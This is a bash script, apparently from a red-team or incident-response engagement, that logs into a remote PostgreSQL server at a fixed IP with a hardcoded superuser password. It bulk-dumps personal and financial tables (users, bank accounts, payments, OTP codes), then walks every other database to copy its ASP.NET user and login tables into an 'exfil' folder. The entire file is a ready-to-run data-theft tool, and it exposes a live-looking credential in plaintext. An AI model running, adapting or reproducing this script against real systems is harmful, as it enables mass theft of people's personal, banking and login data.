#!/bin/bash
# L6 VARIANT A: CGIS PII-core exfil from 14.225.11.8 (read-only pg_dump, selective tables)
# Targets: miwiz/miwiz2024 PII tables + AspNetUsers/auth tables from all other DBs.
# Output: exfil_cgis/ with per-db .sql + manifest + sha256.
set -u
HOST="14.225.11.8"; PORT="5432"; USER="postgres"
export PGPASSWORD='Ctech2022!@#'
OUTDIR="/root/ir-assessment/redteam/gitlab_vdss_com_vn/exfil_cgis"
mkdir -p "$OUTDIR"
TS=$(date -u +%Y%m%dT%H%M%SZ)
MANIFEST="$OUTDIR/MANIFEST_$TS.txt"
: > "$MANIFEST"

dump_tables() {
  local db="$1"; shift
  local tables="$1"
  local f="$OUTDIR/${db}_PII_${TS}.sql"
  # build -t args
  local targs=()
  for t in $tables; do targs+=( -t "$t" ); done
  /usr/lib/postgresql/18/bin/pg_dump "host=$HOST port=$PORT user=$USER dbname=$db connect_timeout=15" \
    --no-owner --no-privileges --data-only --column-inserts \
    "${targs[@]}" -f "$f" 2>>"$OUTDIR/errors_$TS.log"
  local rc=$?
  if [ -s "$f" ]; then
    local sz; sz=$(stat -c%s "$f")
    echo "$db | $sz bytes | tables: $tables | rc=$rc" >> "$MANIFEST"
  else
    echo "$db | EMPTY/SKIP | tables: $tables | rc=$rc" >> "$MANIFEST"
    rm -f "$f"
  fi
}

echo "=== VARIANT A CGIS PII EXFIL $TS ===" | tee -a "$MANIFEST"

# 1. miwiz + miwiz2024: full PII table set
MIWIZ_T="public.users public.bank_accounts public.payment_info public.transactions public.remittance_request public.otp_codes public.memberships public.memberships_his public.r_user_onboarding"
dump_tables "miwiz2024" "$MIWIZ_T"
dump_tables "miwiz" "$MIWIZ_T"

# 2. All other DBs: AspNetUsers + related auth tables (authentication + public schemas)
AUTH_T="authentication.\"AspNetUsers\" authentication.\"AspNetUserClaims\" authentication.\"AspNetUserLogins\" authentication.\"AspNetUserRoles\" authentication.\"UserLoginLog\" authentication.\"UserInfo\" public.\"AspNetUsers\" public.\"AspNetUserLogins\" authentication.user_info"
DBS=$(PGPASSWORD='Ctech2022!@#' psql "host=$HOST port=$PORT user=$USER dbname=postgres connect_timeout=15" -Atc "SELECT datname FROM pg_database WHERE NOT datistemplate AND datname NOT IN ('postgres','miwiz','miwiz2024') ORDER BY datname;")
for db in $DBS; do
  dump_tables "$db" "$AUTH_T"
done

# 3. integrity
(cd "$OUTDIR" && sha256sum *PII_${TS}.sql > "SHA256SUMS_PII_${TS}.txt" 2>/dev/null)
echo "=== DONE $TS ===" | tee -a "$MANIFEST"
echo "--- manifest ---"; cat "$MANIFEST"
echo "--- total size ---"; du -sh "$OUTDIR"/*PII_${TS}.sql 2>/dev/null | tail -1; ls -la "$OUTDIR" | wc -l
